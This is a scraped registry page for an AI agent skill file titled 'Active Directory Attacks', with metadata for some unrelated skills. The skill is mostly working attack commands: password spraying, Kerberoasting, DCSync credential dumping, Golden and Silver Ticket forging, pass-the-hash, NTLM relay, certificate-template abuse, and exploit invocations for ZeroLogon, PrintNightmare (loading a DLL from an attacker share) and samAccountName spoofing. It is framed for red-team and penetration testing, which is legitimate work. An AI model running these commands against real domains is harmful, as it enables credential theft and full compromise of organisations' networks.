[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6R3VDM9BSTDVRRJ9Z8ASMP6":3,"skill-same:01M6R3VDM9BSTDVRRJ9Z8ASMP6":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":52,"install":53,"resources":66},"01M6R3VDM9BSTDVRRJ9Z8ASMP6","Active Directory Attacks",null,"This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.","Mishit18\u002Fclaude-code-templates","Mishit18","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F244127857?v=4","01M6QXBYKWM76HSKYDNWSKKE41","Mishit Sharma","01M6QXBYRJ0CAVM51S1RTEKTZZ",1,"MIT","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002FSKILL.md",[],[19,20,5,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"directory","attacks","active","when","testing","silver","relay","penetration","golden","ticket","as","rep","domain","exploit","pass-the-hash","bloodhound","dcsync","penetration testing","windows","2026-11-10 10:12:30",false,"---\nname: Active Directory Attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs\u002FDeliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR\u002FNBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time \u002Fdomain \u002Fset\n\n# Fake clock without changing system time\nfaketime -f '+8h' \u003Ccommand>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n.\u002Fkerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local\u002F -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local\u002Fadmin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Fkrbtgt:HASH \u002Fid:500 \u002Fptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local\u002FAdministrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Ftarget:server.domain.local \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local\u002Fuser -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt \u002Fuser:user \u002Frc4:NTHASH \u002Fptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB\u002FHTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0\u002F24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http:\u002F\u002Fca.domain.local\u002Fcertsrv\u002Fcertfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local\u002FDC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local\u002FDC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local\u002Fuser:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278\u002F42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local\u002Fuser:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain\u002Fuser:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain\u002F -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain\u002Fadmin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain\u002Fuser@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden \u002Fuser:Admin \u002Fkrbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local\u002Fsvc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local\u002Fuser:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM\u002FWSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references\u002Fadvanced-attacks.md](references\u002Fadvanced-attacks.md).\n\n","# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs\u002FPrerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs\u002FDeliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR\u002FNBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time \u002Fdomain \u002Fset\n\n# Fake clock without changing system time\nfaketime -f '+8h' \u003Ccommand>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n.\u002Fkerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local\u002F -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local\u002Fadmin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\nlsadump::dcsync \u002Fdomain:domain.local \u002Fuser:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Fkrbtgt:HASH \u002Fid:500 \u002Fptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local\u002FAdministrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local \u002Fsid:S-1-5-21-xxx \u002Ftarget:server.domain.local \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local\u002FAdministrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local\u002Fuser -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt \u002Fuser:user \u002Frc4:NTHASH \u002Fptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB\u002FHTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0\u002F24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http:\u002F\u002Fca.domain.local\u002Fcertsrv\u002Fcertfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local\u002FDC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local\u002FDC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local\u002Fuser:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278\u002F42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local\u002Fuser:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain\u002Fuser:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain\u002F -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain\u002Fadmin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain\u002Fuser@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden \u002Fuser:Admin \u002Fkrbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local\u002Flowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local\u002Fsvc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps:\u002F\u002Fdc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local\u002Fuser:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM\u002FWSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references\u002Fadvanced-attacks.md](references\u002Fadvanced-attacks.md).\n\n",{"name":5,"metadata":43,"description":7},{"author":44,"version":45},"zebbern","1.1","main","015422534a7457348a313b6381f0255d3364eb8c","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks",0,"https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates","https:\u002F\u002Fgithub.com\u002FMishit18","2026-11-10 18:35:05",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add Mishit18\u002Fclaude-code-templates --skill \"Active Directory Attacks\"",{"tool":59,"command":60},"bunx","bunx skills add Mishit18\u002Fclaude-code-templates --skill \"Active Directory Attacks\"",{"tool":62,"command":63},"pnpm","pnpm dlx skills add Mishit18\u002Fclaude-code-templates --skill \"Active Directory Attacks\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002FSKILL.md",true,[67],{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"references\u002Fadvanced-attacks.md","REFERENCE","参考文档",9615,"https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Factive-directory-attacks\u002Freferences\u002Fadvanced-attacks.md",[74,108,133,160,187,212],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":79,"sourceHtmlUrl":80,"categories":81,"keywords":87,"publishedAt":38},"01M6R4ARN4W2VZRDERDTMN1KP0","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[82],{"categoryNo":83,"categoryName":84,"taxonomyType":85,"taxonomyTypeDesc":86},"01JBSEEDCAT000000000000009","前端开发","SCENARIO","使用场景",[88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107],"web artifacts builder","web","artifacts","artifacts builder","builder","frontend","css","components","react","routing","state management","state","file","Tailwind","use","single-file","ui components","multi","for","single",{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":112,"sourceHtmlUrl":113,"categories":114,"keywords":119,"publishedAt":38},"01M6R45GXREM5DP8T08MAC788H","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[115,118],{"categoryNo":116,"categoryName":117,"taxonomyType":85,"taxonomyTypeDesc":86},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":83,"categoryName":84,"taxonomyType":85,"taxonomyTypeDesc":86},[23,120,121,93,122,123,89,124,125,126,127,128,129,130,131,132,106],"webapp testing","webapp","screenshots","playwright","debugging","toolkit","browser","ui","logs","applications","behavior","local","with",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":137,"sourceHtmlUrl":138,"categories":139,"keywords":140,"publishedAt":38},"01M6R2GYJ470X8EB7R58V0B68K","think-tank","Run a Virtual Think Tank — a structured multi-persona debate — before planning or making architectural\u002Fdesign\u002Fstrategic decisions. Use this skill whenever the user is about to plan a system, make a technology choice, evaluate trade-offs, decide on an approach, or faces any decision where multiple perspectives would sharpen the outcome. Also trigger when the user says \"think tank\", \"debate this\", \"perspectives on\", \"trade-offs\", \"should I use X or Y\", \"help me decide\", \"before we plan\", or asks for pros\u002Fcons of competing approaches. This skill should run BEFORE any implementation planning begins — it produces a structured analysis that feeds into better plans.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FSKILL.md",[],[141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,22],"think tank","think","design","run","feeds","analysis","persona","plan","sharpen","virtual","decision","choice","decide","perspectives","outcome","me","debate","make","trade-offs",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":164,"sourceHtmlUrl":165,"categories":166,"keywords":170,"publishedAt":38},"01M6R2FSR55AVRFA9YZ8SC2GZG","skill-creator","Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FSKILL.md",[167],{"categoryNo":168,"categoryName":169,"taxonomyType":85,"taxonomyTypeDesc":86},"01JBSEEDCAT000000000000023","Skill与智能体开发",[171,172,173,174,175,176,177,178,179,180,181,182,183,184,132,106,185,22,186],"skill creator","creator","workflows","create","update","capabilities","knowledge","tool","integrations","specialized","guide","new skill","existing 